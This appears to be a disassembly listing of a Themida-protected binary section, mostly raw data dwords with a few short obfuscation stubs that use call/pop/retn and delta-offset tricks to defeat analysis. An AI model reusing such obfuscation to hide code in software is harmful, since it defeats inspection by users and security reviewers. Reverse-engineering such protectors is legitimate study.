		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 81A1C350h, 1CC49CCBh, 0EDB5892Fh, 0C706152Ah, 1800h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 925B631Dh, 8B62E663h, 18BF95B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0D4DEF8FCh, 0D3E7183Ah, 30A99D8Bh, 858B0615h, 6150C45h
		dd 59D8Bh, 6890615h, 11E9h, 39BF5700h, 3567A95h, 520782E1h
		dd 0D1AEDA10h, 0A9BB43E9h, 8B4DA0B9h, 15249D85h, 0D8DB8006h
		dd 81044689h, 0A26590DBh, 0EEB3502Ch, 66243489h, 0B5FFD98Bh
		dd 618BF91h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	55C35040h, 807468FEh, 14E9A3C7h, 54000000h, 2A6A8CBh
		dd 450A9198h, 2ACC21EEh, 0D371CE26h, 8135D3FAh,	838B2404h
		dd 9D8B5C57h, 6150C49h,	0BF99858Dh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B6B10C3h
		dd 150CD1BDh, 0C159BB06h, 5090433Ah, 5E9h, 5F20000h, 6690CBFEh
		dd 95FFF98Bh, 6150DADh,	2399BD89h, 8B610615h, 15169D9Dh
		dd 68E0F06h, 8B000000h,	150D4D9Dh, 1585C706h, 3061511h
		dd 8B000000h, 1516BDBDh, 99BD8306h, 618BFh, 45840Fh, 11E80000h
		dd 73000000h, 0DB80C6F2h, 43C9CCCEh, 0DF36B25Bh, 24064432h
		dd 0AE8h, 543C3300h, 0AC41D346h, 66B8E717h, 7380CB81h
		dd 2FE95F5Bh, 8B000000h, 152F959Dh, 0BD896006h,	6150655h
		dd 10419589h, 50610615h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0BD89C08Bh, 6153011h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 52C35646h, 17FEB9C7h
		dd 852947F9h, 6152869h,	1115BD83h, 0F030615h, 37885h, 0D19D2B00h
		dd 83061503h, 18BF99BDh, 840F0006h, 365h, 9819D89h, 0B5FF0615h
		dd 618BF99h, 0CF5BD29h,	95FF0615h, 61510E1h, 0B58BDA8Bh
		dd 618BF8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	34C35141h, 5CD2CD33h, 106C7D9h,	66000100h, 0F668D381h
		dd 24348950h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	11C35343h, 0B5FF78D2h, 618BF99h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 8CC35747h, 3124C717h
		dd 0FFC833C1h, 1506A195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0BF94AA25h
		dd 9195E6DCh, 0C281609Dh, 145E4D40h, 0C6DBD29h,	8B610615h
		dd 18BF8DB5h, 12E906h, 4AC70000h, 648DF453h, 42D090DFh
		dd 0F92C04F9h, 0D3CE78BEh, 59858Bh, 0BD8B0615h,	6150321h
		dd 0C48689h, 8D890000h,	6151889h, 2721958Bh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 6C6360C3h, 34459501h, 810F0615h, 6, 2F5D9D31h, 0C2830615h
		dd 95896004h, 6150AB9h,	0A0B7BE66h, 28F0F61h, 8B000000h
		dd 205089F9h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	4C35545h, 58858D90h, 6A0618D4h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F120C352h
		dd 7B3A095Fh, 1605BD23h, 86890615h, 0B8h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0A4C35747h, 40A6C600h
		dd 248E0B90h, 6A006ACEh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 265BC357h, 9D330DDDh
		dd 61521B5h, 24A9BD33h,	0B5FF0615h, 618BF99h, 0FF57D380h
		dd 151D4D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8B9604E8h, 810F50FEh, 4, 0EBFFBB66h
		dd 5E996h, 7BCE0000h, 0FF01AC6Bh, 18BF99B5h, 6890F06h
		dd 81000000h, 213BFEDFh, 2995FF74h, 0BF061507h,	72FF4884h
		dd 65BD83h, 0F000615h, 4D84h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 6EF1214Dh
		dd 10E8h, 5FB74900h, 99CD587Fh,	0CDC4D5D0h, 2C2E3CCDh
		dd 658529EBh, 5F061502h, 8B525050h, 66310FF8h, 585AF98Bh
		dd 66243489h, 0B5FFF88Bh, 618BF99h, 61F68160h, 667ABB73h
		dd 615DCDBBh, 43995FFh,	0B5890615h, 6151031h, 0BF99B5FFh
		dd 2FB70618h, 0DCD95FFh, 95010615h, 61519CDh, 285DBD83h
		dd 0F020615h, 4284h, 0E8E1B300h, 5, 1C870E0Ah, 8B5FF8D4h
		dd 15284985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 58C6FA3Ch, 171D12BAh, 2E599509h
		dd 0C60615h, 0C75B5700h, 1523F585h, 6, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 5812372Dh, 66002B66h, 0A78EC781h, 0F48EE9FCh, 6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 11B410C3h, 958944FCh, 6150191h, 6AC18Bh, 3E855h, 5D200000h
		dd 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 56EA1EC3h, 89A302F3h
		dd 1519CD85h
; ---------------------------------------------------------------------------
		push	es


loc_5CB025:				; CODE XREF: Themida_:loc_5CA37Aj
		lea	eax, [ebp+615279Dh]
		push	0
		push	edx
		call	sub_5CB036
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB036	proc near		; CODE XREF: Themida_:005CB02Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5CB036	endp

; ---------------------------------------------------------------------------
		dw 9C17h
		dd 421558B7h, 12E9h, 888EE700h,	2D36D024h, 8B1C2C79h, 0D0CB9C6Bh
		dd 90B54477h, 0F18B6660h, 12E8h, 0AAA30F00h, 0A0637402h
		dd 8D71404Dh, 4D0CDD1Fh, 51EB8474h, 50615B5Ah, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0FC345675h, 22C19589h, 81660615h, 6A7638DBh,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F006A92h, 285h, 8D5B5300h, 1A17D085h, 5BD8906h, 83061530h
		dd 9D8905C0h, 6152D01h,	6E890h,	0E48A0000h, 0C9D4831Ch
		dd 0DE8505Fh, 0EB000000h, 0D3AF8279h, 33CC5898h, 0AA07CA65h
		dd 7868BF66h, 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 2114CEC3h, 0FC7BFBAh, 6A561Ah, 321BD8Bh
		dd 0BD8B0615h, 6153379h, 0BD89006Ah, 6152F95h, 7995FFF8h
		dd 57061526h, 8D5FDE8Bh, 189C158Dh, 0C5BD0106h,	8B061524h
		dd 1509E5BDh, 83D1FF06h, 152DB5BDh, 850F0106h, 87h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9AC35646h, 6C7455D3h
		dd 0E27F3F1h, 0BF66026Ah, 0E990CF27h, 13h, 0B1EFC155h
		dd 895680EBh, 1638278Dh, 615AEACAh, 505033E9h, 0E0BB6651h
		dd 6A905F9Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0FDCAC355h, 0F601876h,	480h, 0BDBE6600h
		dd 6661FCC0h, 0FFEAA2BFh, 151D4D95h, 4D9D3306h,	0E9061506h
		dd 0F39h, 0E8h,	0ED815D00h, 61A17DAh, 0AE9h, 7D9C6500h
		dd 0AD733D6h, 0E9A11AABh, 0Eh, 0AA5E34A8h, 0E05F92BFh
		dd 9C7C2291h, 6A1CEAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 386D14C3h, 0BA835ABCh, 34399589h
		dd 858D0615h, 61888F9h,	6BFFBF66h, 50525090h, 0FF98B52h
		dd 5A05B331h, 57310F58h, 5A5F5F50h, 0BB665058h,	6A908058h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0BDE9C357h, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 3869C357h, 0A253B878h, 0F883645h, 148Eh, 0FE900h, 199A0000h
		dd 0DB60B255h, 1228296Eh, 2871F593h, 2589648Ah,	0
; ---------------------------------------------------------------------------
		mov	[ebp+6152219h],	edx
		inc	dword ptr [ebp+6151535h]
		push	0
		push	ebx
		call	sub_5CB2FF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB2FF	proc near		; CODE XREF: Themida_:005CB2F7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5CB2FF	endp

; ---------------------------------------------------------------------------
		db 1Fh
		dd 0FF6A26E6h, 291DBD8Bh, 0B5FF0615h, 6152CBDh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 1EC35141h, 0D781912Dh
		dd 10A7DC28h, 8BD95FFh,	53E90615h, 0B0000001h, 0CE900h
		dd 0F5630000h, 2948FC1h, 0CA961A2Eh, 70E60B6Ah,	9299D8Bh
		dd 0E4F50615h, 0DB816671h, 613CB1DCh, 128830Fh,	31600000h
		dd 150AC5B5h, 0FE9EBF06h, 0E8610876h, 12h, 0F0BBCE90h
		dd 42BD41D2h, 4C6E54E4h, 0BBAFBA5Fh, 0BB664FE3h, 0F5BE2E6h
		dd 8501C8B6h, 61514C5h,	6BAh, 0B5296000h, 6152309h, 2351BD29h
		dd 8B610615h, 0AE52BBC1h, 0E8C16B28h, 0C5BD8904h, 6606151Ch
		dd 0C82BE2F7h, 269D9D8Bh, 0D18B0615h, 5BEF8166h, 0BCE973h
		dd 95890000h, 61526FDh,	0CE9h, 3E37F900h, 56E9CADFh, 0F6A22A30h
		dd 49858B05h, 8344004Eh, 0D5BF07C0h, 831D3CA7h,	0AE900C0h
		dd 0EE000000h, 645A7F51h, 0EDE3E1F2h, 0FD03BCEh, 1883h
		dd 81665600h, 5FC92BCBh, 71E9h,	68C0F00h, 8B000000h, 151C95BDh
		dd 0FF8D8B06h, 66FFFFFFh, 947AE381h, 0F01E183h,	5184h
		dd 9E800h, 1B9F0000h, 0F63540F1h, 0F50331F6h, 0FFA5835Bh
		dd 0FEFFFFFFh, 12E8h, 6FB3C000h, 3589AE42h, 0B4923275h
		dd 0CC46F76Bh, 0E84C80C1h, 6, 0C091AE9Ah, 94BB5A67h, 5F3840AEh
		dd 4995895Bh, 8944004Eh, 152D918Dh, 0E906h, 0B58D0000h
		dd 6199057h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0ACC35545h, 411E529Dh, 32A1BAD1h, 68A0F26h, 8B000000h
		dd 1525B5BDh, 80006A06h, 95FF6ACFh, 6152E21h, 81E6F381h
		dd 0D2B957DBh, 2900000Fh, 1502A99Dh, 0EF816606h, 0E18394BEh
		dd 52006AFCh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0CB81667Bh, 6AFC31D9h, 3E85300h
dword_5CB524	dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
					; DATA XREF: Themida_:0057C190o
		dd 0BB47C353h, 0E88C2D1Bh, 0Eh
dword_5CB544	dd 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 96BFC1D5h,	5B3B8800h
					; DATA XREF: Themida_:00579E30o
		dd 0B8h, 14E800h, 0CE510000h, 0BA40B02Ah, 93C2642Ah, 3D4573A5h
		dd 0C402DAECh, 8B662600h, 0D22B5FF8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 58C35646h, 4D7893E7h, 0F90EA08h
		dd 588h, 9BB7BF00h, 33AD6DE3h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0AD5CE6C3h, 898B4569h, 1504019Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 40300CAAh
		dd 3127FC3Ah, 0E3814362h, 41AFAF19h, 880Dh, 0A5BD2300h
		dd 8B06151Ch, 15272195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 1B568236h, 252F5B3Eh
		dd 4CD8D8Bh, 800F0615h,	2, 8B50FE8Bh, 3188BC2h,	8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	8343BB66h, 8C98589h, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8FC35C3h, 0DE8B3F23h, 18A9BD83h, 0F000615h, 6684h, 659D8B00h
		dd 0B8061518h, 0
; ---------------------------------------------------------------------------
		push	ecx
		jge	loc_5CB6AA
		sub	bh, 0C5h


loc_5CB6AA:				; CODE XREF: Themida_:005CB6A1j
		pop	edi
		lea	ecx, [ebp+6154F9Eh]
		push	0
		push	esi
		call	sub_5CB6BC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB6BC	proc near		; CODE XREF: Themida_:005CB6B4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5CB6BC	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [edx-67h], 0CFh
		cmc
		mov	ebx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CB6E0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB6E0	proc near		; CODE XREF: Themida_:005CB6D8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5CB6E0	endp

; ---------------------------------------------------------------------------
		dd 96B96FF0h, 719529EFh, 83061525h, 151115BDh, 840F0006h
		dd 574h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0C4C35747h, 51675D33h, 0E8B8BC36h, 7, 697C6595h
		dd 89132C76h, 152DA195h, 0F3805F06h, 15BD83CAh,	1061511h
		dd 549840Fh, 81660000h,	836C31F7h, 151115BDh, 860F0306h
		dd 501h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	22C35747h, 0DCFAF2FFh, 4C18C913h, 27A19D8Bh, 89560615h
		dd 15072585h, 6A605F06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0C508C350h,	6052CBD6h
		dd 0FE9FCh, 83D20000h, 0A7B08772h, 633D792h, 0D8DB3AE9h
		dd 9D8B6168h, 61533BDh,	6AD98C66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0ABC5C355h
		dd 2654BB66h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 4E24C353h, 0E9C1E610h
		dd 11h,	0CAA931FCh, 50708B33h, 0E21DFFB3h, 0DA7AC146h
		dd 0FAB70F80h, 840FC90Ah, 1AAh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 51C35040h, 0E0BA5623h, 858B9C62h
		dd 615249Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0DBC35646h, 0D353B79Dh,	89AA5F7Ch, 1524B195h, 4BBF6606h
		dd 8B6660D5h, 4840FDFh,	66000000h, 6173E0BEh, 19B58533h
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 9D8973C3h, 615170Dh, 58E0F50h, 0BB000000h
		dd 36B3A024h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0D798C352h,	0E3569A99h
		dd 6A006A78h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 6FA4C356h, 9D89566Dh, 61526A5h
		dd 615C685Bh, 0BF66D96Fh, 4811D19h, 0AFA2A324h,	52006A26h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B64462B8h, 110BF38h, 52BF6651h, 95FF5F2Ch, 6150DADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EEC35646h
		dd 645A7F51h, 66E3E1F2h, 89AF23BBh, 18BF9985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0FD6AACBEh, 0D3A5B3D6h, 28759D8Bh, 0EBE90615h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 806FC355h, 4BDC922Ah, 33BD9D8Bh, 0BB660615h
		dd 858B499Fh, 618BF91h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 21C35343h, 2882C85Bh,	8BC67AA5h, 1518C5BDh
		dd 1800C706h, 89000000h, 15115DB5h, 8BD88B06h, 18BF95B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 556FBC5Bh, 0EC6D80A8h, 0CA9BD33h, 858B0615h
		dd 6150C45h, 9C99D8Bh, 6890615h, 10E9h,	4574CC00h, 601B50A8h
		dd 5E35B8EAh, 0E6EBBF79h, 0B98D313Ah, 8B061509h, 15249D85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 446895Eh, 8EBF6696h, 0FE8505Eh, 2B000000h
		dd 0A29F5524h, 7D08E659h, 0ABF9B3EAh, 0CE93FE3h, 3D000000h
		dd 0F1DB99C6h, 8ED1CD00h, 5FFEDFD2h, 55006A96h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0F7D619DDh
		dd 0D19D89CBh, 8106152Dh, 0FBE5DDE3h, 0C9B52929h, 0FF06150Dh
		dd 18BF91B5h, 0D9BD8B06h, 68061522h, 0E05D67C3h, 81F98B66h
		dd 9C3C2404h, 0B70F1FC1h, 99858DFFh, 520618BFh,	0D5EF8166h
		dd 0E8905F37h, 0Fh, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h
		dd 665D9A96h, 505FD88Bh, 7F77BB66h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DF7060E1h
		dd 9CA288CCh, 39D5C381h, 95890162h, 6152799h, 0DAD95FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0EE4B19C3h, 411CC24Fh, 22F19509h,	6A610615h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 129BC353h, 0FBB70F74h, 111585C7h,	30615h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 71AD74C3h, 9B6688F0h, 0BD83A81Ch,	618BF99h
		dd 62840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 88D7C352h, 0BB664147h
		dd 55E97C60h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 7716C350h, 13E8h, 9F77E100h
		dd 0FC7DD294h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 5BDA8B53h
		dd 0C30505Fh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 1615BD8Bh, 0BD890615h, 6150FC5h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 73C35545h, 0F1392302h
		dd 3C59589h, 0BD830615h, 6151115h, 0DC850F03h, 83000003h
		dd 18BF99BDh, 840F0006h, 3CFh, 0EE8h, 34F99200h, 359B4579h
		dd 1B023BDFh, 2B19370Ah, 1522B5BDh, 0B5FF5B06h,	618BF99h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h
		dd 0FF96123Dh, 1510E195h, 1464BF06h, 0B58B6178h, 618BF8Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 76C35646h
		dd 85BD8BFEh, 0C7061519h, 1000106h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 50FCE191h
		dd 34895F50h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 5FA5E7BAh, 4890Fh, 0BB660000h, 0B5FF6A78h
		dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	70C35545h, 0D3405F32h, 0DBB70FDBh, 6A195FFh, 850F0615h
		dd 5, 7FEF8166h, 8DB58BB3h, 6A0618BFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B88C351h
		dd 1525699Dh, 59858B06h, 0BF061500h, 49F0905h, 313BBB66h
		dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4B98ECC3h, 8127A5FFh, 0A785AAD3h
		dd 21958B65h, 6A061527h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D88DC350h,	59B6B75Ah
		dd 83F170D2h, 6A04C2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 932860C3h, 5C26A84Bh, 840FEDh, 0F000000h
		dd 281h, 8973B700h, 14E82050h, 40000000h, 4A2144F3h, 0CFF9CFEDh
		dd 78E1D9D5h, 1CDB3E9Bh, 0BBB839E8h, 2000B2E0h,	58858D5Bh
		dd 6A0618D4h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F6CC355h, 386h, 0D8EB8000h,	0B88689h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 5C5B15C3h, 2F104DF0h, 6A2355C0h, 15DF8100h, 0FF631074h
		dd 18BF99B5h, 0BD8BF806h, 6153041h, 1D4D95FFh, 5E80615h
		dd 0B6000000h, 0A4ED51CCh, 0CE9h, 59C8B800h, 31C646Ch
		dd 23DDD4E7h, 8B965B02h, 525050D8h, 0B2C874BBh,	8B310F39h
		dd 96585ADAh, 1615B589h, 0DB810615h, 6A45AF02h,	0BF99B5FFh
		dd 81660618h, 0FFFF47F3h, 15072995h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0FBB595A2h
		dd 57533B3Eh, 11E8h, 9B0E900h, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh
		dd 858983C7h, 6152505h,	65BD835Fh, 61500h, 14840Fh, 0CF810000h
		dd 44468B63h, 1258BB50h, 34894E1Bh, 548EBF24h, 0B5FF3DA8h
		dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	41C35747h, 0C660E70Fh, 9D8BF486h, 615283Dh, 43995FFh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 345E36C3h, 99B5FFE4h, 890618BFh, 1508D585h
		dd 0CD95FF06h, 0F06150Dh, 0BD83FAB7h, 615285Dh,	42840F02h
		dd 8B000000h, 2890FD9h,	50000000h, 49858B5Bh, 81061528h
		dd 3BF879DBh, 0C629h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 19h, 0DDC35141h, 5C1A0CB4h, 2830F01h, 0B3000000h
		dd 0F585C7D4h, 61523h, 0F000000h, 68Bh,	0B99D8B00h, 0E9061518h
		dd 0FFFFF23Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	8FC35343h, 4F56DE6Ah, 0E9543FBAh, 7, 592C64BCh
		dd 8B843AB8h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 3779A661h, 0BEFE2EBEh, 0E857B917h
		dd 5, 0D7F0661Fh, 999D2B81h, 5F061523h,	9D858D5Bh, 6A061527h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0B459C351h, 0F5BB50A8h, 8973CCF1h, 850F2404h
		dd 3, 6AD88B66h, 0FFBF0F00h, 8D31006Ah,	61516C5h, 298A858Dh
		dd 8589061Ah, 61521D5h,	6A05C083h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 62FCC352h
		dd 0DF1CC020h, 22F19D8Bh, 0BB500615h, 8D9B86Ch,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 3149C352h, 1B335ACCh, 0CE85925h, 9F000000h
		dd 0C47FFB54h, 1E8E65AFh, 0F7B2E25h, 389h, 0F8BF0F00h
		dd 0ED95295Fh, 0E8061518h, 12h,	602DA7C1h, 0CC0308Ch, 35038AC6h
		dd 8BB0FBB7h, 0B5893F3Fh, 6151691h, 6A006A5Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F811C352h, 5BA1351Dh, 0B3FE7348h, 0C99D89D1h, 6A06150Dh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 95FF2C7Fh, 6152679h, 0DE9h, 1B49D700h, 1A2861CBh
		dd 184E9C00h, 8D8D9E9Bh, 6189C15h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 75C35646h, 8145D2ECh, 9B1854D7h
		dd 0EB81667Ch, 0D1FF86E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 4AC35646h, 0EDBD8B57h, 8306150Ch, 152DB5BDh
		dd 850F0106h, 0D1h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 33C35141h, 0DE9h, 0EDEACF00h,	78445C6Fh
		dd 9E11864h, 26A81C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0EC35242h, 0F47C3AC0h, 3C86BB44h, 8960777Fh
		dd 152F8D85h, 89F58006h, 52505061h, 0CE9h, 9D2EAF00h, 0B87D3ACh
		dd 0EA722CE7h, 0E8310F12h, 0Eh,	5E36F3CAh, 0DE16E434h
		dd 0D723602Ah, 8F0F107Ah, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edx
		pop	eax
		mov	[esp], eax
		mov	edi, [ebp+6152FE9h]
		call	dword ptr [ebp+6151D4Dh]
		push	0
		push	eax
		call	sub_5CC395
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC395	proc near		; CODE XREF: Themida_:005CC38Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5CC395	endp

; ---------------------------------------------------------------------------
		db 11h,	12h, 0A2h
		dd 0DDA5DD8Eh, 8166488Ah, 8BE91EEFh, 15160DBDh
; ---------------------------------------------------------------------------
		push	es


loc_5CC3B9:				; DATA XREF: Themida_:0057BC04o
		jmp	loc_5CD1BD
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 61A2994h
		push	0
		push	edx
		call	sub_5CC3D5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC3D5	proc near		; CODE XREF: Themida_:005CC3CDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5CC3D5	endp

; ---------------------------------------------------------------------------
		db 49h,	5Dh, 0B5h
		dd 6A6EFC33h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
